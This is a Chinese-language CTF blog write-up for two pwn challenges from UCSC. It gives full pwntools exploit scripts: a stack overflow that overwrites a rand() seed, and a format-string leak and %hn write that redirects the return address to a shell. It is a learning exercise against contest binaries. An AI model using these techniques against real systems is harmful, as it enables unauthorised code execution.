620 字
3 分钟
UCSC-CTF Pwn WriteUp
前言
这次UCSC就写了半个小时不到,十有八九是学校的问题 T.T
学校怎么这么坏啊
FoBido

第一眼就看到栈溢出

可以溢出到seed
则rand()变得可预测
Tip:
这里的可预测是在固定Seed下的随机数 顺序及数字 完全相同,有时环境不同,模拟结果也会不同。
我没学过ctype,又怕线上环境不一样,直接不选择模拟,直接选择开干
from pwn import *
file = "./BoFido"elf = ELF(file)
context(arch=elf.arch, os='linux')
a, b, c = 0, 0, 0j = [[],[],[]]
def play_round(io, round_num): global a, b, c
if round_num == 1:
io.sendlineafter(b'please choose your numbers:\n', b"1 2 3") else:
io.sendlineafter(b'please choose your numbers:\n', f"{a} {b} {c}".encode())
io.recvuntil(b"The lucky number is: ") line = io.recvline().decode().strip() a, b, c = map(int, line.split())
prize = io.recvuntil(b"Congratulations! You won", drop=True) j[0].append(a) j[1].append(b) j[2].append(c) success(f"Round {round_num}: Lucky numbers {j[0][round_num-1]} {j[1][round_num-1]} {j[2][round_num-1]} - {prize.decode()}")
# 在线上/本地跑一遍程序,获取随机数#---------------------------------------------------
if args.REMOTE: io = remote('39.107.58.236', 44623)else: io = process(file)
io.recvuntil(b"Enter your name:")io.sendline(b'A'*0x25)
for round_num in range(1,11): play_round(io, round_num)#---------------------------------------------------
# 根据前面获得的数直接打#---------------------------------------------------if args.REMOTE: io = remote('39.107.58.236', 44623)else: io = process(file)
io.recvuntil(b"Enter your name:")io.sendline(b'A'*0x25)
for i in range(10): io.sendlineafter(b'please choose your numbers:\n', f"{j[0][i]} {j[1][i]} {j[2][i]}".encode()) io.recvuntil("Congratulations! You won the first prize!",timeout=2) success(f"Round {i+1} , Pass")
io.recvuntil(b"You're so lucky! Here is your gift!", timeout=1)io.interactive()
#---------------------------------------------------userlogin

刚进来一看,以为是要过密码
进入login()

进入user()
恍然大悟

格 式 化 字 符 串 !
那么这个题目就明朗了,直接开打 (甚至不需要去获取基地址就能打)
from pwn import *import LibcSearcher
file = "./pwn"elf = ELF(file)
context(arch=elf.arch,os='linux')
if args['DEBUG']: context.log_level = 'debug'
if args['REMOTE']: io = remote('192.168.202.151', 32768)else: io = process(file)
if elf.arch == 'i386': B = 4elif elf.arch == 'amd64': B = 8else: print("PLS Input The Address Byte: ") B = int(input())print("B=" +str(B))
sla = lambda ReceivedMessage,SendMessage :io.sendlineafter(ReceivedMessage,SendMessage)sl = lambda SendMessage :io.sendline(SendMessage)sa = lambda ReceivedMessage,SendMessage :io.sendafter(ReceivedMessage,SendMessage)rcv = lambda ReceiveNumber, TimeOut=Timeout.default :io.recv(ReceiveNumber, TimeOut)rcu = lambda ReceiveStopMessage, Drop=False, TimeOut=Timeout.default :io.recvuntil(ReceiveStopMessage,Drop,TimeOut)
sl(b"supersecureuser")
sla(b"Write Something\n",b"%10$p")
leak_addr = int(io.recv(14), 16) +8 - 0x50success("Leak Address:" + hex(leak_addr))
shell_addr = 0x1261 +1payload = "%{}c%8$hnAAAAA".format(shell_addr).encode() + p64(leak_addr)print(payload)sl(b"supersecureuser")#gdb.attach(io)
sla(b"Write Something",payload)
io.interactive()有可能有些师傅还一脸问号 (bushi
%10$ 指向地址s1,s1指向s2,因而%10$p泄露出了s2
用gdb看,是这样的

因而泄露的leak_addr是s2,也就是 0x7fffffffe1f0
我们对leak_addr +8 (- 0x50) 就是 返回地址所在的地址
后面就是格式化字符串的老套路了
EOF
疯狂复制
因为自己有事,再加上我的环境发电,于是只做了半个小时不到的题目 (可恶),所以只做到这个题就不动了。
: (((((((((
这个题不想补WP了,应该没有人看到这里吧(bushi
EOF
UCSC-CTF Pwn WriteUp
https://blog.mindedness.top/posts/ucsc-pwn-writeup/ 部分信息可能已经过时